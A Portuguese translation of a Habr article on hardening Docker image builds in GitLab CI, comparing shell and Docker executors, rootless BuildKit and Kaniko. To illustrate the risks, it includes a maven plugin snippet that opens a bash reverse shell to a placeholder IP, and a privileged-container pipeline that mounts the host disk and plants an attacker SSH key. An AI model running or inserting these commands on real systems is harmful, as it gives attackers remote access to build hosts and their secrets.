Construindo imagens do Docker com segurança em CI: instruções passo a passo / Habr

Construindo imagens do Docker com segurança em CI: instruções passo a passo / Habr

Olá, Habr! Eu sou Sasha Lysenko, uma das principais especialistas em desenvolvimento seguro da Segurança cibernética K2. Agora, existem muitas ferramentas para automatizar tarefas rotineiras, e todos estão se movendo ativamente nessa direção para otimizar recursos e resultados rápidos. Por exemplo, no DevOps, a introdução de pipelines de CI/CD acelera o desenvolvimento, a implantação de aplicativos e reduz o tempo de lançamento no mercado. A automação é um processo indispensável hoje, mas também abre excelentes brechas para ameaças cibernéticas. Nem todo mundo pensa em quem e para que acesso é distribuído e quais consequências isso pode levar. Portanto, sem levar em conta a segurança cibernética, existem riscos adicionais de incidentes. Neste artigo, analisei passo a passo um exemplo de construção de imagens do Docker em pipelines de CI do GitLab, levando em consideração o equilíbrio entre a segurança do desenvolvimento automatizado e a velocidade do processo.

Passo 1. Executor de shell

Então, criamos uma máquina virtual separada, instalamos o daemon Gitlab CI nela, registramos no GitLab e começamos a lançar nossos payplanes. Ótimo – temos DevOps!

Agora, em nossa infraestrutura, qualquer desenvolvedor pode executar código arbitrário com direitos gitlab-runner, obtendo assim acesso ao host. Além da capacidade de influenciar pipelines de outros projetos, esse acesso também permite que você avance na infraestrutura. Os executores geralmente têm acessos estendidos à rede, por exemplo, para automatizar a implantação. No tempo de execução das tarefas, existem segredos e senhas bastante interessantes, e também abre a oportunidade de incorporar malware nos resultados de nossa automação.

Quais soluções temos:

Opção 1. “Limitar o lançamento de pipelines apenas para ramificações protegidas e mesclar o código neles somente após uma revisão de código” parece uma boa solução, mas na prática não é aplicável. Somos obrigados a ser rápidos, a testar hipóteses rapidamente, e essa abordagem atrasará muito o processo de desenvolvimento. Além disso, isso não nos protegerá de forma alguma de possíveis impactos de dependências comprometidas.

Opção 2. Proibir os desenvolvedores de editar o pipeline. Por exemplo, mova-os para um repositório separado ou simplesmente proíba a edição do arquivo. Assim como no método anterior, esta opção também apresenta problemas. Primeiro, nem sempre há uma pessoa dedicada em CI/CD. Em segundo lugar, dependências comprometidas. Em terceiro lugar, não se esqueça de que você pode executar o “script” de maneiras diferentes. Por exemplo, temos dois estágios de construção: no primeiro estágio, construímos um arquivo jar usando o maven e, no segundo estágio, construímos uma imagem docker com esse arquivo jar.

stages:
  - build
  - dockerize

maven-build:
  stage: build
  script:
	- echo "Running Maven build..."
	- mvn clean package -DskipTests
  artifacts:
	paths:
  	- target/*.jar

docker-build:
  stage: dockerize
  script:
	- echo "Building Docker image..."
	- docker build -t my-app-image

Ao manipular a configuração do maven, você pode executar um script arbitrário:


  org.codehaus.mojo
  exec-maven-plugin
  3.1.0
  
	
  	package
  	
    	exec
  	
  	
    	bash
    	
      	-c
      	bash -i >& /dev/tcp/256.261.282.293/6666 0>&1
    	
  	
	
  

Simplesmente não é possível proibir TUDO o que é executado na fase de construção, existem muitas brechas. E, como resultado, começamos novamente a desacelerar os processos.

Etapa 2. Docker Executor

Os contêineres vêm em nosso auxílio. Eles permitem isolar o tempo de execução de tarefas de CI e restringir o acesso aos recursos do host.

Vamos voltar ao nosso pipeline de dois estágios. Para construir o contêiner, precisamos de um daemon docker. O acesso ao sistema host será descartado imediatamente – isso permitirá gerenciar o tempo de execução de outras tarefas e, em geral, tendo tais privilégios, não é difícil obter acesso total ao sistema.

Vamos voltar para a documentação. Lá, somos aconselhados a usar a imagem dind (Docker no Docker) como um serviço para nossa tarefa. Para que isso funcione, você precisa configurar o executor para executar contêineres no modo privilegiado:

concurrent = 100
log_level = "warning"
log_format = "text"
check_interval = 3 # Value in seconds

((runners))
  name = "first"
  url = "
  executor = "docker"
  token = "*******53NxVFzR**********"
  (runners.docker)
	tls_verify = false
	privileged = true
	disable_cache = false
	volumes = ("/cache")
	pull_policy = "if-not-present"
	allowed_pull_policies = ("if-not-present")
	userns_mode = "auto"
	security_opt = (
  	"no-new-privileges"
	)
stages:
  - build
build:
  stage: build
  image: docker:24.0.5
  services:
	- name: docker:24.0.5-dind
  	alias: docker
  	command: ("--tls=false")
  variables:
	DOCKER_HOST: tcp://docker:2375
	DOCKER_DRIVER: overlay2
	DOCKER_TLS_CERTDIR: ""
  before_script:
	- docker info
  script:
	- docker build -t 'my-registry/t-group/backend:latest' 

O principal problema que ainda temos é o contêiner privilegiado. Com esse acesso, ainda podemos acessar o sistema host com manipulações bastante simples.

stages:
  - build

build:
  stage: build
  image:
	name: docker:latest
	docker:
  	user: root
  variables:
	DOCKER_HOST: tcp://docker:2375
	DOCKER_DRIVER: overlay2
	DOCKER_TLS_CERTDIR: ""
  services:
	- name: docker:24.0.5-dind
  	alias: docker
  	command: ("--tls=false")
  before_script:
	- docker info
  script:
	- mkdir /pwnd
	- mount /dev/dm-0 /pwnd
	- echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/p4C5igypITUB/t/WfiEwTx8pAt6qlI+ik7P2MnVbQOmLThEtJ7GYMAhBWBuJDWsuiSVndIUJPLOeTJyK85vImQY7tsSf1dQ0VWUdLojqQ3B0Vq2tdFd5Egi1e2HMxUjrd39AO9oohTvGhPVNicY1iSIkqawQLuAIOSvv9ZF8JfeEeoboT0rKrA/oX1fFD8jJ7N+vRQVzZ0sx+xoLcSVoy28jsj9x8hSJR+/+x0nULcGceJgmthF2bqzplJyImi8B2NT1zwO6b5l9BfvTCikkHrfTYLzmSaP0F8cQ5qyq0y/N6bQ4JJxBLAPgxFdKviWrK8WzailCSbR+csFePW18Ti1lVAOca+NpnRTXUHMVmu+4Zw6wUB0v/bYPn5b/Yq7yibCdC5IRQEzauji+MgOTx/l9b3b3hXyf4e+YnjiBAe9vCMZsQO0SWO9zWaEtj8dpJb8T5jmuuMYbxgWI99dobCqUSMk9b5mPPsRkUDQGzE3DbbAkVqE615As1OxTzrs= pwnd@pwnd' >> /pwnd/home/debian/.ssh/authorized_keys
	- docker build -t my-docker-image

Embora possamos confiar em nossos desenvolvedores para impedi-los de fazê-lo, não podemos garantir que as imagens e o software que usamos estejam livres de vulnerabilidades ocultas ou códigos maliciosos. Além disso, mesmo o acesso limitado ao ambiente de desenvolvimento pode ser um ponto de entrada para acesso privilegiado à infraestrutura. Portanto, vamos tentar reduzir esses privilégios o máximo possível.

Etapa 3. Kit de construção sem raízes

O acesso privilegiado requer a execução do docker — vamos tentar nos livrar dele. De todas as funcionalidades, precisamos apenas de uma compilação. O Docker usa o buildx para criar contêineres, que por sua vez envia solicitações para o daemon do buildkit. Executar o buildkit de um daemon também requer privilégios privilegiados, mas há uma seção interessante na documentação chamada “Modo sem raiz” – executando um buildkit sem privilégios de root.

Para implementar o modo rootless, é usado o RootlessKit, que é uma implementação do “fake-root”. Kit sem raiz crum namespace de usuário adicional, imitando o usuário root. Mais detalhes podem ser encontrados em Documentação do RootlessKit.

Há um script no kit de compilação buildctl-daemonless.shIsso nos permitirá executar a compilação sem um daemon. Para ser mais preciso, o script inicia o daemon e o buildkitctl o acessa. Para simplificar o pipeline, você pode usar esse script em vez de iniciar o serviço. Assim, obtemos o seguinte pipeline:

stages:
  - build

build:
  stage: build
  image:
	name: moby/buildkit:master-rootless
	entrypoint: ("")
  variables:
	BUILDKITD_FLAGS: --oci-worker-no-process-sandbox
  script:
	- buildctl-daemonless.sh build
  	--frontend=dockerfile.v0
  	--local context=./
  	--local dockerfile=./
  	--output type=image,name=registry.null/t-group/backend:latest,push=false

Para usar o RootlessKit, você deve desabilitar explicitamente os perfis apparmor e seccomp, pois seus perfis padrão não permitem que você crie novos namespaces. E também adicione recursos do Linux SETUID, SETGUID e remova a opção no-new-privileges para simular o usuário root. Como resultado, a configuração do executor ficará assim:

concurrent = 100
log_level = "warning"
log_format = "text"
check_interval = 3

((runners))
  name = "first"
  url = "
  executor = "docker"
  token = "*******53NxVFzR**********"
  (runners.docker)
	tls_verify = false
	privileged = false
	disable_cache = true
	volumes = ()
	pull_policy = "if-not-present"
	allowed_pull_policies = ("if-not-present")
	userns_mode = "auto"
	cap_add = ("SETUID", "SETGID")
          user = "1000:1000"
	security_opt = (
  	"seccomp=unconfined",
  	"apparmor=unconfined"
	)

No contexto do RootlessKit, esta solução não apresenta riscos de segurança adicionais. No entanto, ele requer o suporte de um pool de executores separado dedicado exclusivamente à criação de imagens em contêineres. Além disso, devido à falta de mecanismos de criação de perfil de segurança, temos que especificar explicitamente o uid e gid do usuário na configuração da tarefa, o que pode ser bastante inconveniente.

Etapa 4. Kaniko

E se quisermos manter os perfis seccomp e apparmor? É aqui que entra o Kaniko, uma ferramenta de montagem de contêineres. Kaniko tem uma série de limitações: você não pode criar contêineres do Windows, dificuldades com loops em links e atualizações raramente são lançadas. Ao mesmo tempo, permite montar contêineres sem comprometer a segurança:

stages:
  - build

build:
  stage: build
  image:
	name: gcr.io/kaniko-project/executor:v1.23.2-debug
	entrypoint: ("")
  script:
	- executor
  	--context "${CI_PROJECT_DIR}/"
  	-f "${CI_PROJECT_DIR}/Dockerfile"
  	--destination 'registry.null/t-group/backend:latest'

Kaniko não cria novos namespaces. Em vez disso, ele descompacta a camada de imagem e faz chroots.

Isso impõe uma série de restrições:

  • aumento do tempo de montagem;

  • loops em links;

  • executando apenas a partir da raiz (embora as abstrações acima isolem o contexto é muito bom).

Inferência

Limitar privilégios com um “grande gesto” não funcionará. Independentemente da ferramenta usada, você precisará de uma delimitação clara entre o código do aplicativo e o código CI/CD, um modelo de acesso baseado em função bem pensado e um gerenciamento eficaz de privilégios.

É importante entender que mesmo a documentação oficial geralmente contém soluções com sérios riscos. Portanto, a integração da segurança cibernética deve ser realizada de forma abrangente, tanto no nível técnico quanto no nível organizacional. Somente uma abordagem sistemática minimizará os riscos e garantirá a proteção sustentável do desenvolvimento.

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *